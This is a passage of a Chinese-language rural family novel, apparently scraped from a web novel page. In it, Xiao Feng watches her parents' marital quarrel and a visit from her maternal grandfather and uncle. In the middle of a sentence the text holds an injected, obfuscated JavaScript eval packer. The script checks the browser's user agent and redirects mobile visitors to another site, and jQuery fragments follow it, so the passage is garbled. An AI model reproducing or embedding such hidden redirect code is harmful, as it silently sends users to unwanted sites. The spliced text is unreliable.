原是外公和舅舅们经不住她几天的纠缠,把自家的老马套上车就赶来了,随车来的,还有一大麻袋土豆和一提篮大枇杷。李家村挨着虎跳河,低矮的河谷地带种了枇杷和橘子,每年都比其他高地要早成熟上市小半个月,个头还又大又甜。
不用李幺娘催,肖凤跟外公和舅舅打过招呼,又叫肖林去拉草喂马,便到厨房去忙活开了,要尽快整治出一桌饭菜来。
肖得恩和李幺娘都是极其重视脸面的人,但凡有客来,坐下半个小时,最迟一个钟头之内必须招待上饭桌,不然就是礼数不够。对于外客尚且如此,更别说自己人亲戚。
还好中午煮的一锅黄澄澄粉甜的老南瓜汤,热热就能端上桌,还有昨天她老爹买回来的一块熏豆腐还没动,正好切了炒一盘。再割半条腊肉洗干净,切几个土豆,最后煮上一大碗亮晶晶的香辣粉条,就齐活了。
有客在,吃饭都必须在堂屋里,才显得郑重。
李老爹看了眼墙上天地君亲师位,下面木板钉成的壁龛当中摆放着□□画像,前头还供着一升大米,三柱线香燃剩的香灰洒落在大米上,问道:“大妹婚期定下了?”
李幺娘知他想问什么,答道:“还没定。上次是来商谈,走个形式。等正式定下,娘亲舅大的,怎么可能不给你们知道。”
李老爹这才稍微赞许点头,“商谈最好也该我们在场,江对岸钟家,早些时候跟我爷爷也是有来往的,算是知根知底。有我们在,不看僧面看佛面,也好帮你们拿拿主意,别让人家把我们大妹拿捏了。”
李幺娘自然知道她老子爹的心思,无非是认为李家还是当年的风光,上哪里说句话都会让人看重三分。这话儿,年轻的时候她是十成十信的,这些年过来,心里也明白了,李家的风光只有李家人才自以为是,真要说还剩两三分已经是顶天了,只有大家扯闲篇讲故旧的时候才会带出一点。
心里这么想,加上她现在心思重点都不在这上面,便也撇嘴道:“您也说是老祖宗时候的交情了。你们放心,两家就是通个气,正式说定,也是订亲当天的事情,肯定叫你们在场。”
这一带的人家大都家底不丰,婚嫁很多仅剩下点仪式,彩礼嫁妆这些实际的大钱,大多拿不出。讲究的人家,还能把仪式走完,没有余钱讲究的,酒席也置办不起,男方家带来一升玉米或者半袋陈麦子,便把媳妇接走了。商谈订亲接亲,一天就能走完所有仪式。
肖凤端菜上来的间隙,就听见他们的谈话。心里暗暗不忿,这亲说是没定,却也基本没差。也只好在她这门亲事是涉及到财物的,才能拖上这一拖。
肖家钟家都算薄有家资,这婚嫁的钱财论定了就要送上,但没有哪家愿意彩礼送上了,新娘却迟迟不进门的。彩礼嫁妆论清了,半年之内新媳妇必须娶进门,增加一员劳力,也尽快生下养大新的劳力,不然拖越久可叫婆家越吃亏呢。
*
这天没接到李家那边的回电,肖得恩早早忙完了最后一批麦子的清运就下班了,到家时太阳都没落山。
还没进门就在院门口路上看见肖林肖华跟着小舅子用弹弓打麻雀,招呼过知道老岳父也来了,在堂屋里等他。
他心里门清,李幺娘为着粮站那事儿搬来老泰山是压他的,但到底这悬索落下,心中还是十分不满。只他也隐下未表。
孩子在门外竹林玩耍,大院门就开着,肖得恩径直进去,才走到西侧间窗下,倒跟堂屋出来往厨房走的李幺娘先对上了。
李幺娘张张嘴,还没开口就被他满眼的不爽刺得瑟缩了下,垂下眼的工夫两人走了对过,她不屑地撇嘴,就看见肖凤迈出一条腿站厨房门口往这边看。
肖凤一边在厨房忙活,一边分神关注着门外动静,就想她老子爹回来先跟他说声。李幺娘让她杀只鸡做晚饭,她烧了水正烫毛呢,等她听见说话声,忙擦手出来,也没追上带着气劲走得飞快的肖得恩。
看她爹娘对面话都不说了,她心里也没来由来气,都是属倔驴的,别费劲拉拔了。她回身继续去拔鸡毛。
“怎么才开始扯鸡毛啊?”李幺娘心里憋气,进来就要找点茬,“天黑都等不到你这顿饭吃。”
肖凤想反驳,吸了口气又顿住,还是不要添乱了,干脆就不作声。
李幺娘没撩到架,一边到处翻捡,一边絮叨,“真是欠了你家几父子的。个个都跟我甩脸……都跟你说了要放酒酿子炒,酒酿子呢……要拿最大的那口铁锅,汤不要炒干了……一点都不教你省心,跟你家几父子真是过不下去……大汤匙又放哪里……”
肖凤觉得累了,“妈,你会跟我爸离婚吗?”她随口问着,手下动作不停,滚水烫过的鸡毛挺好拔的,就是一股子腥臭味熏人。
李幺娘拿着个大土碗正到处找舀素菜汤的大木勺,猛地听她这句就顿住了,撇头瞪去,“你这么想我跟你老子爹离婚?好让他去跟那姓吴的过好日子?我才不会这么便宜了他!”
肖凤纳闷了,“那你也不想和他离婚,为什么不好好和他谈呢?你们这么一通又一通的吵架和冷战,现在你又扯外公舅舅进来,我爸又要面子,要是这么一来他先不干了真跟你离,你要怎么办?”
“你还帮他打抱不平了?觉得我拉上你外公和舅舅欺负他了?明明是他有错在先。”李幺娘只觉得自己生的也不跟自己一条心,气闷极了。
“我敢帮哪个?你们两个硬要争个输赢出来,争出来做什么呢,不是要离婚吗?那争出来有什么意思?”肖凤失望。
“要说我帮,我也是帮我们姐弟几个。算了,你们闹吧,闹掰了你们各人再成个家,我们几姊妹自己去讨饭讨生活。”说完她也不管李幺娘,端了装着鸡毛的撮箕出去了。
李幺娘被她一番话点到心思,心里很不得劲儿,大木勺也不找了,酒酿子也不去舀了,站灶台边发愣。
她平日里气郁不乐,是爱找着肖得恩吵架,但其实并不是真的想跟他吵,无非是想闹腾闹腾让他说几句软话。也不是真的要跟他论个输赢,他那么傲气一个人,没来由地认错就是折了他的面子,她看了不见得高兴,反而要难受。
李幺娘想着当年他在李家做工,上山下地,难免被别人欺负,但哪怕是被笑话,只要他没犯错,他也不会跟人低头。
可以说,养活自己的一碗饭一个面窝,都是肖得恩起早贪黑勤快干活换来的。李老爹夫妇也没有为了一口吃的刁难他,答应一天一顿,就是扎扎实实的一顿干饭,没拿粥水糊弄。
他甚至还能在干完活的空余时候挖些土药材去集上换钱,攒到了念书认字的费用。李幺娘便是那会儿就看中了他,心里暗自决定,这辈子就认定这一个人了。
只是,不知道是什么消磨了她原来那股心气,如愿跟他成家多年后,竟然成了现在这个样子。
不知道是什么时候开始的,她心里越来越不平衡。可能是她发现肖得恩跟自己开始没话说的时候,可能是她觉得肖得恩对自己敷衍了事的时候,可能是别人开玩笑说她有个这样有本事的男人还不知足的时候,可能是大家都觉得她只会无理取闹的时候,可能是没人站在她的立场体谅她为她说话的时候。
所以她总想吵架的时候有人帮她一起指责肖得恩,所以她觉得这次必须要让娘家人替她教育一下肖得恩。有人是和她站一边的,站她的人越多越好,这样她心里才会多少有点快意。
但她没想过,这样是在争输赢。也没想过,这样的局面要怎么善后。
肖得恩一个大男人,总是要主动承担点什么的吧,不至于让场面太难看吧。不至于他真的会想跟自己离婚吧?
她没想过这个可能,从来没想过。
肖凤把撮箕放到院墙的瓦面上,捡了根木棍扒拉散开,这鸡毛晾晒干了,能扎鸡毛毽子来打,或者卖给收零碎的也有几分钱。
堂屋的门开
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17311317|198861||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
着,她背着身子支棱着耳朵听里面说话声音,刚一路过来也没听见传出什么动静,不知道在说什么,是个什么情形?
里面的人自然能看到她在,所以仿佛也故意避着她,没在谈话,一直沉默。鸡毛晾好还没声音传出,她也不磨叽了,走到后院门去后头菜地里扯炒菜要用的葱蒜。
直到上菜吃饭,肖凤也没再试图去探听他们的谈话。
*
第二天一早,肖得恩天麻麻亮就起来去挑水,让肖凤把昨天的好菜都热了,又蒸了饭。外公和舅舅跟一家子吃过丰盛的早饭,拎着两只大公鸡,赶着马车就要回李家村去了。
肖凤最终也不知道他们都谈了什么。但看外公和舅舅对她老子爹一如既往的良好态度,似乎不是来给这个女婿教训的,倒像是寻常来走了回亲戚。
如此估摸,应是一切都很好。除了李幺娘不高兴。
肖凤跟着李幺娘拎着两只大公鸡把人一路送到村口大树下,她老子爹带着几个娃和外公舅舅先道别上了小路往乡政府去,上班的上班,上学的上学。
舅舅牵着老马去套寄放在老幺爷家院子里的车架,肖凤不远不近地站在村口路上,听见她外公嘱咐她老子娘的话。
“我和老五都问清楚明白了,肖得恩他没那胆子,你就放心好了。再说你一个女人家,只管照顾好家里,拉扯好几个娃娃,也给他省点心。他这工作来得不容易,你要是闹得太难看了,他别说升官,保不保得住饭碗都不好说,你何苦来哉?他这位置说高不高,说低不低,但这个工作多好啊,这十里八乡的,不见得人人认识乡长书记,但可以说人人认识粮站的肖得恩啊。谁不说我李老者有个好女婿,女儿有福啊。”
李老爹跟李幺娘絮叨,没有太大声,但也没多小声,肖凤听得七七八八。
她说了不想偏帮两个人中的任何一方,是真心的。这两人,各有各的执拗,也各有各的不容易,她只想他俩能互相体谅。所以听到外公这番偏帮女婿数落女儿的话,别说李幺娘不高兴,肖凤听了也难受。
不过以她老子娘的脾气,这会儿没答应但也不吭声,就是没多大意见的意思。她也就更没有出头的理由。
“凤姐儿让让,马车来了。”李老五从后头赶着马车追上来。
肖凤让到旁边人家院坝上,马车走到跟前,才看见车板上还坐着她二堂兄。肖凤简单招呼一声,把草绳捆着的两只大公鸡扔上车板。
把爷俩跟要临时起意要蹭车去李家村相姑娘的二堂兄送走,肖凤就要跟她老子娘回家继续忙农活了。
路过大堂嫂家门口,早等着看热闹的妯娌俩赶忙招呼,“大叔娘,大伯这才来住一晚就走了啊,是来做什么?”
肖凤抢白道:“送了两篮子枇杷来,他们河边的枇杷熟得早,知道我们都爱吃,年年记着呢。”
搪塞两句,打断了这些人看乐子的心。
这事儿就这样,了不了,都是就这么着了。李幺娘兀自沉默一天干农活,到下晚时候,才算跟肖凤开口说了话,道是想吃豆腐了,让肖凤去挑水,今天的晚饭她来料理。
*
世上三般苦,撑船打铁磨豆腐。
做豆腐是件劳累人的活儿,一板豆腐大半天时间是要的,对农村人家来说是件重大的事儿。
但豆腐是极其珍贵的好东西,不是那专门卖豆腐的人家,也不会经常做,只在大房小时逢年过节才会做上一回。尤其黄豆价高,也不适合作为主食,对农村人家来说,应急缺钱就卖黄豆,所以轻易也不会消耗太多黄豆。
地里的重活儿才忙完,下一波重活儿要玉米出到三四片芽叶,就得挨片田地除草。这才难得的农闲时间,又要折腾磨豆腐,肖凤任劳任怨地拿扁担挑水。
挑最后一担水的时候,肖凤在湾子井边远远看见她老子爹下班回来的身影,等她挑着水回到家,就见肖珍和肖华站院门口,似在等她。